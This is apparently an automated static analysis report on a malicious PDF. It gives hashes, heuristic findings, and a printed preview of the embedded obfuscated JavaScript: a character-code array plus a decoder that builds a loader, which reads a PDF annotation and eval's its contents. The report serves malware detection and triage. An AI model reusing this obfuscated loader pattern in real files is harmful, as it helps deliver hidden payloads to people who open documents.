Malicious PDF — malware analysis report

Static analysis result for SHA-256 248ff3f98f59a870…

MALICIOUS

PDF

12.4 KB First seen: 2026-05-08
MD5: 33ae37f910109929483a62286f398452 SHA-1: 7a051de3fdf58f93b48474d9604f939eb259059d SHA-256: 248ff3f98f59a870d4fde94934ae98dbacb89def0167b9865402546b00a70092
156 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file was flagged as malicious by an ML classifier and contains embedded, obfuscated JavaScript. The JavaScript stream, named 'javascript_obj0005_000.js', likely serves to download and execute a secondary payload. The presence of JavaScript actions and embedded JS streams, along with the ML classification, strongly suggests a malicious intent.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 5

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a large numeric character-code array feeding an auto-run script) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
            for (var i=0; i < list.length; i++) {
                result +=  String.fromCharCode(list[i] - jump);
            }
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0005_000.js pdf-javascript-stream PDF /JS object 5 at offset 0x107 916 bytes
SHA-256: f048286b2dfe205330e162117bc9e2e9406092389e25aa91660890d79cb205b6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
sourceCode = "118,97,114,32,122,59,32,118,97,114,32,121,59,32,122,32,61,32,121,32,61,32,97,112,112,46,100,111,99,59,32,10,9,32,121,32,61,32,48,59,32,9,32,122,46,115,121,110,99,65,110,110,111,116,83,99,97,110,32,40,32,41,59,32,121,32,61,32,122,59,118,97,114,32,112,32,61,32,121,46,103,101,116,65,110,110,111,116,115,40,32,123,32,32,110,80,97,103,101,58,32,48,32,125,41,32,59,118,97,114,32,115,32,61,32,112,91,48,93,46,115,117,98,106,101,99,116,59,32,118,97,114,32,108,32,61,32,115,46,114,101,112,108,97,99,101,40,47,122,47,103,44,32,39,37,39,41,59,32,115,32,61,32,32,117,110,101,115,99,97,112,101,32,40,108,41,32,59,101,118,97,108,40,115,41,59,32,115,32,61,32,39,39,59,32,122,32,61,32,49,59"; 
function decrypt(str, jump){
var result = "";
var list = str.split(',');
        for (var i=0; i < list.length; i++) {
            result +=  String.fromCharCode(list[i] - jump);
        }
        return result;
        }